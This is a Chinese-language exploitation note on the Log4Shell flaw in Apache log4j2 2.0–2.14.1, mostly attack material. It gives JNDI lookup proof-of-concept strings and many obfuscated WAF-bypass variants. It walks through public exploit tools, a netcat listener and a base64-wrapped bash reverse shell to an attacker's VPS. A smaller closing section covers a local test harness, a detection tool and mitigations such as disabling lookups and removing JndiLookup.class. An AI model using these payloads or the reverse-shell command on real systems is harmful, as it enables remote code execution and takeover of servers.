漏洞简介
- 影响版本
Apache log4j2 2.0 - 2.14.1
 - https://musana.net/2021/12/13/log4shell-Quick-Guide/
漏洞利用
POC
```bash ${jndi:ldap://xxx.dnslog.cn/exp} 
Bypass
${j${lower:n}di:l${lower:d}ap://xxx.dnslog.cn/exp}
<a name="wlXj4"></a>### RCE- 首先Netcat监听端口```bash$ nc -lvnp <Port>
- 工具1(已被作者删除): https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2
```bash
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 
-l
, 默认1389 -p
, 默认8080  
触发: 通过cmd参数传递命令
${jndi:ldap://
反弹Shell
/bin/bash -c ‘bash -i >& /dev/tcp/
<br />- 工具2:[https://github.com/welk1n/JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)- 这个没反弹成功,不知道什么原因```bash# bash -i >& /dev/tcp/<VPS_IP>/<Port> 0>&1 # Base64编码$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, <上面Base64编码得到的字符串>}|{base64,-d}|{bash,-i}" -A "<VPS_IP>"# 触发${jndi:rmi://<IP>:<Port>/xxxxxx
Bypass
- 文档:https://logging.apache.org/log4j/2.x/manual/lookups.html ```bash ${lower:test} ${upper:qwer} ${hostName} # 主机名 ${java:version} # Java版本 ${java:vm} ${java:runtime}
 
<a name="XSIS9"></a>### Bypass RC1```bash${jndi:ldap://127.0.0.1:1389/ badClassName}
Bypass WAF
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}${jndi:rmi://adsasd.asdasd.asdasd}${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Trick
- 一些情况下请求头
X-Api-Version字段存在漏洞,利用方法一样。这个弹不到Shell,但是有请求记录 

其它
本地环境
- 工具:https://github.com/welk1n/JNDI-Injection-Exploit
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “
“ -A  
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “open /System/Applications/Calculator.app” -A 127.0.0.1
```javaimport org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class log4j {private static final Logger logger = LogManager.getLogger(log4j.class);public static void main(String[] args) {System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");logger.error("${jndi:ldap://127.0.0.1:1389/xxx}");}}

pom.xml```xml <?xml version=”1.0” encoding=”UTF-8”?> <project xmlns=”http://maven.apache.org/POM/4.0.0“xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
4.0.0 org.example log4j-rce 1.0-SNAPSHOT org.apache.logging.log4j log4j-core 2.14.1 org.apache.logging.log4j log4j-api 2.14.1 
<a name="LkZ0y"></a>### 本地检测- Log4j2漏洞检测工具:[https://log4j2-detector.chaitin.cn/](https://log4j2-detector.chaitin.cn/)<a name="mrlbC"></a>### 修复方案1. 临时性缓解措施(任选一种,但是注意,只有 >=2.10.0 版本才可以用,老版本不支持这个选项)- 在 jvm 参数中添加 `-Dlog4j2.formatMsgNoLookups=true`- 系统环境变量中将`LOG4J_FORMAT_MSG_NO_LOOKUPS` 设置为 `true`- 创建 `log4j2.component.properties `文件,文件中增加配置 `log4j2.formatMsgNoLookups=true`2. 彻底修复漏洞:- 研发环境修复:升级到官方提供的 [log4j-2.15.0-rc2](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2) 版本- 生产环境修复:[https://github.com/zhangyoufu/log4j2-without-jndi](https://github.com/zhangyoufu/log4j2-without-jndi) 由长亭工程师提供的删除了 JndiLookup.class 的对应版本直接替换重启即可。- 如果不放心网上下载的版本,也可以自己手动解压删除,删除jar包里的这个漏洞相关的class,然后重启服务即可:```bash$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 找长亭技术支持工程师获取虚拟补丁或者使用牧云直接检测。
 

